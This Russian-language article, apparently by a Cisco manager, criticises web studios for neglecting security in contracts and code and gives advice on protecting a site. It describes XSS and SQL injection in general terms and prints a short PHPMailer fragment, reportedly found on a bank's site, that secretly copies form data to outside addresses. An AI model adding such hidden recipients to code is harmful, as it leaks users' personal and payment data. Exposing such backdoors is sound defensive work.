Алексей Лукацкий - менеджер по развитию
бизнеса Cisco Systems
Иметь сайт в сети Интернет стало модным. Даже президент Медведев не избежал этого поветрия и стал на своем сайте вести блог и регулярно его обновлять. Но мало иметь витрину своей компании в Сети - она должна быть защищена от любителей виртуального «граффити», которые в «лучшем» случае могут оставить на главной странице надпись «Здесь были Киса и Ося». В худшем сайт может быть стерт с «лица» Интернет или данные, хранящиеся на нем, будут украдены или несанкционированно изменены. Особенно важно это для сайтов, ведущих коммерческую деятельность - Интернет-магазины, Интернет-банки, Интернет-трейдинг и т.п. Как известно, пожар легче предупредить, чем потушить. Так и с информационной безопасностью. Гораздо эффективнее (да и дешевле) задуматься о безопасности сайта еще на этапе его проектирования и программирования. Но способны ли Web-студии обеспечить защиту своих творений?
Я прошелся по сайтам некоторых, в т.ч. и именитых студий, предлагающих свои недешевые услуги по созданию сайтов и что же? Ни одна из них не упомянула в своих портфолио словосочетание «защищенный сайт». А в их типовых договорах нет ни слова о защите разрабатываемого ими творения. Что это? Некомпетентность или осознанное нежелание ввязываться в неизвестную, а значит таящую множество сюрпризов, область ИТ-технологий? К сожалению приходится признавать, что скорее всего первое. Попробую проиллюстрировать это, опираясь на свой опыт участия в ряде Интернет-проектов.
Некомпетентность, граничащая с неуважением к клиенту
Итак, первый пример. Открываем нетиповой договор фирмы, заявляющей о себе, как об одном из лидеров российского рынка Web-разработок. В договоре раздел «Безопасность» состоит из 3-х строк: «Безопасность передачи данных обеспечивается стандартными протоколами, использующимися для работы с веб-страницами. Физическую сохранность данных обеспечивает компания, осуществляющая хостинг. При работе веб-системы используется механизм Cookies». Вот и вся безопасность, под которой понимается только шифрование информации между Web-сервером и броузером клиента и физическое ограничение доступа к «железу», на котором крутится сайт. И это при том, что остальные моменты, связанные с созданием Web-ресурса (навигация, дизайн, функциональные модули и т.п.), прописаны более менее четко.
Ну ладно договор. Юристы в информационной безопасности смыслят также, как я в юриспруденции, а может быть и еще меньше. Ну, в документации-то, должны быть расписаны основные механизмы обеспечения защищенности информации, доверенной клиентом Web-серверу. Как же, должны... В руководстве администратора информации, конечно, поболе, но анализируя ее, становится не по себе. Защитный механизм всего один - разграничение доступа по IP. Это к внешнему-то ресурсу? Интересно, как разработчики Web-системы представляли себе использование этого механизма? Я, что, должен перед тем как выложить сайт в Интернет, узнать у пользователей их IP-адреса? Этот фокус еще можно проделать с рядом корпоративных пользователей, чьи адреса практически неизменны. Но что делать с физическими лицами, которые могут подключаться, например, к Интернет-банку из любой точки планеты - Интернет-кафе, смартфона, работы, из дома и т.п.?
А может просто технические писатели не удосужились узнать у разработчиков об используемых методах сохранности информации или этот раздел документации давно не обновлялся? И такое может быть. Попробуем пообщаться с техническим директором компании, которая по совместительству является одним из ее основателей и идеологов движка сайта. Уж он-то не может не разбираться в вопросах безопасности своего детища. Его ответы повергли меня в шок.
Во-первых, это «специалист» не знаком с такой атакой, как Cross Site Scripting (XSS), которая известна уже не первый год и которая может привести к утечке конфиденциальной информации, краже пароля, маскировке под другого пользователя и т.п. В свое время такая уязвимость присутствовала на множестве электронных магазинов - Barnes & Nobles, McDonald's, Phillip Morris, WalMart и т.д. Уязвимости данного типа позволяют внедрить в содержимое страницы сценарий, исполняемый на компьютере клиента. Один из распространенных направлений атаки - получение содержимого cookie, в т.ч. имени и пароля пользователя. А т.к. в рассматриваемой мной Web-системе пароль и идентификатор пользователя хранились в открытом виде, то злоумышленник мог преспокойно получить к ним доступ. Когда я указал техническому директору на наличие такой зияющей дыры в его детище, он заявил дословно следующее - «Чтобы получить доступ к cookies, нужно получить физический доступ к машине. Уязвимости, связанные с необходимостью физического доступа почти так же «опасны», как автоматчики в масках, дознающие физически пароль». Проведя небольшой ликбез с демонстрацией способа использования XSS, технический директор чуть поумерил пыл, но устранять дыру все равно отказался, ссылаясь на то, что «обычные пользователи, которые «просто из Интернета» о своей безопасности должны сами заботиться. Да они и не обладают никакими правами, чтобы бояться несанкционированных действий от их имени». К чему может привести такое заявление для пользователей Интернет-банка говорить лишний раз не надо...
Дальше - больше. В настоящий момент многие сайты являются не статическим набором HTML-страниц, а являют собой динамически собираемое «на лету» содержание. При этом все текстовые «кирпичики», из которых строится итоговая страница, видимая пользователя, хранятся в базе данных. С одной стороны, это облегчает работу с сайтом, а с другой - вносит ряд проблем с точки зрения безопасности. Самая распространенная из них - атака SQL Injection. Ряд хранимых процедур SQL-сервера (MS SQL, Oracle, MySQL и т.п.) на основании переданных параметров строят запрос, который затем исполняется через функцию exec. Злоумышленник может специальным образом сформировать значение параметров запроса и выполнить произвольный SQL-запрос на сервере базы данных. Это может абсолютно любой запрос, который только придет в голову нарушителю:
· Внесение новой учетной записи в список пользователей сайта
· Манипуляции с данными (особенно «красиво» это выглядит на сервере электронной коммерции, Интернет-магазине и т.п.)
· Модификация содержимого страниц
· Удаление каких-либо данных и учетных записей пользователей
· Доступ к таблице с паролями пользователей и т.п.
Парадокс в том, что данная дыра существовала с самой первой версии анализируемого нами Web-движка, т.е. с 1997 года. Проведенный экспресс-анализ сайтов, «построенных» компанией-разработчиком, выявил наличие аналогичной проблемы у всех них. А среди клиентов этой амбициозной компании, поставившей перед собой цель «войти в 500 крупнейших IT-компаний России к 2010 году», есть и очень громкие имена, взлом сайтов которых является мечтой любого начинающего хакера. Видя такие дыры (а их список насчитывал несколько десятков) было смешно видеть заявления менеджера нашего проекта - «стандартный код протестирован не один десяток раз и проверен временем и клиентами». Уж не знаю, что и кто там тестировал, но с вопросами информационной безопасности они, видимо, знакомы не были.
Некомпетентность или преступление
Не всегда дыры являются следствием некомпетентности компании-разработчика. Иногда это осознанное действие, как, например, в другом проекте, в котором мне довелось поучаствовать. Я не буду подробно расписывать его детали, - просто приведу код, который был обнаружен в процессе анализа исходных текстов разработанного сайта для одного из крупнейших российских банков. Сразу отмечу, что это только фрагмент, иллюстрирующий мои слова, - все промежуточные строки кода я удалил с целью уменьшения объема мифа (и так он получился объемным) и фокусировки внимания только на данном куске (все адреса e-mail вымышлены).
$mail = new PHPMailer();
$mail->From = EMAIL_FROM;
$mail->AddAddress($email);
$mail->AddAddress("competitor@competitor.ru");
$mail->AddAddress("webstudio@webstudio.ru");
$mail->Send();
Данный фрагмент иллюстрирует отсылку по электронной почте определенной информации, полученной с формы на сайте. Это может быть форма обратной связи, заявки на вакансию или покупки с помощью кредитной карты и т.п. Эта информация по техническому заданию должна была отправляться на адрес, указанный в переменной email и это действительно так, но... разработчики не забыли включить в код и свои адреса, на которые должна была отправляться копия всех вводимых на сайте данных. Можно конечно считать это досадным недоразумением, возникшим в процессе тестирования сайта, но мне трудно поверить, что в итоговом варианте «случайно» остались эти два (хотя для тестирования достаточно и одного) адреса электронной почты.
Тестирование и безопасность
Не буду касаться преднамеренного внесения закладок в код сайта, коснусь только причин некомпетентности разработчиков Web-систем. Основная причина - непонимание сути информационной безопасности. Для сайта - это не просто дополнительный функциональный модуль, это неотъемлемый и постоянный процесс, который должен сопровождать сайт с момента начала его проектирования до завершения его жизненного цикла. При существующем уровне развития хакерских технологий уже недостаточно реализации только разграничения доступа к внешнему сайту по IP-адресам (хотя это, откровенно говоря, бредовая затея). Необходима комплексная защита, состоящая из грамотной фильтрации вводимых значений, применения шифрования регистрационных данных пользователя, блокирования неконтролируемого доступа к базе данных, контроля возвращаемой пользователю информации и много другого.
Но и это не все. Даже будучи реализованными, эти механизмы требуют тестирования и это вторая причина, которая приводит к появлению уязвимых сайтов. Тестирование ПО сайта и тестирование безопасности сайта - это абсолютно разные вещи. В первом случае разработчик тестирует наличие функциональных модулей (в т.ч. и модулей безопасности) и их соответствие техническому заданию. Но наличие модуля не говорит о его подверженности атакам. Возьмем простой пример - в ТЗ прописано требование наличия системы регистрации пользователей по паролю. При тестировании этого модуля вы пытаетесь зарегистрироваться на сайте под разными учетными записями, и если у вас это получается, то вы ставите галочку и считаете свою задачу выполненной. Но вопрос защищенности этого модуля остается открытым. Модуль может:
· Разрешать вообще не использовать пароли
· Не контролировать длину вводимых паролей, что может привести к атаке «переполнение буфера»
· Не контролировать вводимый текст, который может оказаться не паролем, а исполняемым кодом
· Не шифровать введенные пользователем данные
· Позволять узнать или подобрать имя и пароль зарегистрированного пользователя и т.д.
Все эти проблемы невозможно выявить в процессе обычного функционального тестирования - требуется проверка с точки зрения безопасности. А кто может ее провести? Уж точно не программист, писавший проверяемый код, который ему уже настолько приелся, что он там и обычных ляпов не заметит, не то, что дыры безопасности. Проверить код может только эксперт, имеющий соответствующую квалификацию. К сожалению, я не слышал, чтобы Web-студии имели в своих штатах таких специалистов, а извне их не приглашают. Это происходит по ряду причин - нежелания признавать свои ошибки, давать доступ к коду, делиться доходами. Зачастую в Web-студии просто работают слишком самоуверенные или непонимающие проблемы люди. Не так важна изначальная причина, важно, что сайты остаются незащищенными, чем и пользуются все, кто относит себя к хакерскому сообществу.
Но не все, кто называют себя специалистом, таковыми являются на самом деле. Например, в одном из проектов была приглашена известная в узких кругах группа, в другом - проектом занялась «крутая» фирма, занимающаяся всем спектром услуг в области ИБ - от анализа рисков до поставки коробочных продуктов. В обоих случаях результат был одинаков (хотя стоимость услуг отличались на порядок) - эти «специалисты» проверили сайт бесплатными сканерами безопасности Nessus'ом и Nikto и выкатили отчет об отсутствии дыр, не подозревая о том, что все их попытки блокировались системой предотвращения атак, установленной на Web-сайте.
Самое интересное, что даже в том случае, если Web-студии указали на ее промахи и попросили устранить обнаруженные проблемы, они всячески стараются не признавать свои ошибки и уйти от ответственности. В моем случае, о котором я уже писал выше, процесс устранения дыр затянулся на несколько месяцев. Сначала студия отказывалась признать наличие уязвимостей в своем коде. После увлекательной демонстрации они пытались заявить, что дыры не страшные, а клиенты и сами могут побеспокоиться о своей защите. Потом они потребовали с нас денег, ссылаясь на то, что «в техническом задании не было изложено данных требований по безопасности, поэтому реализация пунктов возможна только на основе дополнительного соглашения». В запале дело дошло до того, что менеджер проекта заявил, что «надо было в ТЗ перечислить все атаки, от которых должен был быть защищен ваш сайт». Только после вступления в официальную переписку между руководством компаний ситуация сдвинулась с места. «А что с другими сайтами, построенными на этом движке?», - спросите вы. А ничего. Они по-прежнему остаются не защищенными, т.к. их владельцы просто не знают о том, какую свинью подложила им студия, предоставляющая «профессиональный уровень услуг на рынке разработки интернет/интранет-систем и управления корпоративной web-информацией любого уровня сложности».
О чем надо помнить при общении с Web-студией?
Опыт общения с разными Web-студиями по разным вопросам (от разработки портрета целевой аудитории до защиты готовой системы) позволил мне выработать целый ряд рекомендаций, только простое перечисление которых составило бы небольшую книгу. Поэтому я коснусь только одного аспекта - защиты сайта. Но хочу сразу предупредить - приведенные мной рекомендации не полные - это только самые распространенные проблемы, с которыми мне приходилось сталкиваться.
Первая и самая важная рекомендация - проверяйте договор перед его подписанием. Не стоит, доверять эту задачу одному лишь юристу вашей компании. Он хоть и на вашей стороне, но не знаком с основами информационной безопасности и может, не глядя, завизировать документ, за который потом с вас могут «спустить шкуру». Благодаря своей внимательности, мои коллеги не столкнулись с такой ситуацией. Несмотря на то, что на этапе заключения договора, менеджер проекта им заявил о том, что «мы практикуем решение тонких моментов в функциональностях на этапе проектирования и прототипирования», в договоре присутствовал очень интересный пункт «неописанные возможности Исполнитель имеет право не реализовывать в рамках текущего договора». Т.е. наобещав «с три короба» потом можно было бы спокойно забыть о данном слове.
Обязательно включите в договор или в техническое задание следующие аспекты, связанные с защитой:
· Запрет на хранение пароля в открытом виде (в базе на сайте и в cookie)
· Защиту от известных на момент подписания договора атак
· Защиту от маскировки под чужого пользователя (чтобы никто не мог писать в форумах или в форме обратной связи от имени другого)
· Фильтрацию вводимых значений
· Запрет посылки пароля в открытом виде на адрес электронной почты, указанный при регистрации пользователя и т.д.
Хорошей практикой является использование рекомендаций OWASP (Open Web Application Security Project), работа которого направлена на повышение защищенности Web-сайтов. Одним из результатов их работы является список распространенных проблем, уязвимостей и угроз для современных сайтов. Требование защиты он них можно включить в договор с разработчиком вашего сайта. Если ваш сайт принимает к оплате кредитные карты, то вам просто не обойтись без грамотной разработки раздела по безопасности, т.к. этого от вас потребует международный стандарт PCI DSS (разделы 6.5 и 6.6).
Не забудьте включить в календарный план тестирование по безопасности и уточните, кто будет заниматься этим процессом и какова его квалификация. Если вы не доверяете в этом вопросе исполнителю, то рекомендую самим озаботиться поиском компании, которая проверить ваш сайт на отсутствие/присутствие дыр. В качестве примера могу назвать отечественную компанию Positive Technologies которая известна на российском рынке не только своим сканером безопасности MaxPatrol, но и услугами по проверке защищенности сайтов и приложений.
Если в стоимость работ включено обучение ваших сотрудников правилам эксплуатации вновь обретенной Web-системы, то не забудьте включить в план обучения и вопросы безопасности.
Еще один момент, на который хотелось бы обратить ваше внимание. Web-студии поголовно вставляют в договор пункт примерно следующего содержания «Исполнитель имеет право размещать на своем сайте элементы оформления web-системы и название компании Заказчика, а также указать свое авторство на главной странице web-системы Исполнителя». Смысл фразы понятен - Web-студия, сделав работу, хочет хвастаться ею перед другими потенциальными заказчиками. Ее мотив понятен, но вам от этого какая польза? Какую именно вы задачу решаете, допуская такой пункт в договоре. Денег и славы (если, конечно, ваш сайт творила не студия именитого дизайнера) вам это не принесет. А вот у хакеров появится важная информация о том, на какой платформе построен ваш сайт, а, следовательно, им проще будет выбрать способ атаки на вас.
И последний важный момент. Очень часто в договора включается следующая фраза «Заказчик должен представить доступ к web-системе для осуществления гарантийного обслуживания. В случае отсутствия дистанционного доступа к web-системе гарантийные услуги не оказываются». Этот пункт облегчает жизнь Web-студии, т.к. ей не придется выезжать по каждому вашему звонку, но привносит очень много проблем для вас. Если сайт хостится на вашей территории (т.е. у вас в сети), то сразу задайте себе вопросы:
· Готовы ли вы пустить постороннюю организацию в свою сеть?
· Как обеспечивается безопасность сети этой посторонней организации?
· Не будет ли внешнее подключение дополнительным каналом проникновения хакеров и вирусных эпидемий?
· А если будет, то несет ли внешняя организация ответственность за инциденты с безопасностью в вашей сети (простои, отказы, утечки и т.п.)?
Если ответы на эти вопросы неутешительны, то ни в коем случае не пускайте Web-студию в свою сеть. Даже если у нее благие намерения, за взлом вашей сети отвечать будете только вы и никто другой. Лучше заранее побеспокоиться о решении задачи безопасности удаленного доступа.
Поэтому не верьте сахарным речам какой бы то ни было компании, предлагающей вам услуги по созданию сайта (личного, корпоративного, Интернет-банка, портала и т.п.). В проектах, в которых я участвовал, мы тоже слышали эти слащавые обещания - реальность оказалась совсем иной. Помните только одно, что хотя и у вас и у Web-студии цель одна - создание сайта, методы ее достижения абсолютно разные. Вы хотите получить максимум при минимуме затрат, а исполнитель ваших причуд наоборот - затратить минимум усилий при максимальной выгоде. И поэтому он будет экономить на всем, что не видно и трудно проверить в процессе приемки готовой системы. И безопасность (наряду с производительностью) - первый кандидат на сокращение. К тому же безопасность будет вступать в противоречие с удобством и ею тоже могут пожертвовать.
Но и получив из рук Web-студии защищенный сайт не обольщайтесь, - начинается долгий, непрерывный и, отчасти рутинный, процесс обеспечения постоянной готовности вашего сайта к различным проделкам хакеров. А это значит, что вы должны непрерывно:
· мониторить состояние защищенности Web-сервера
· устанавливать новые заплатки
· реагировать на атаки и т.п.
Если вы не уверены в своих возможностях, то обратите внимание на аутсорсинг безопасности, который может решить ваши проблемы. Правда, аутсорсинг безопасности - это еще одна тема, в которой немало мифов и заблуждений. О них мы тоже поговорим.
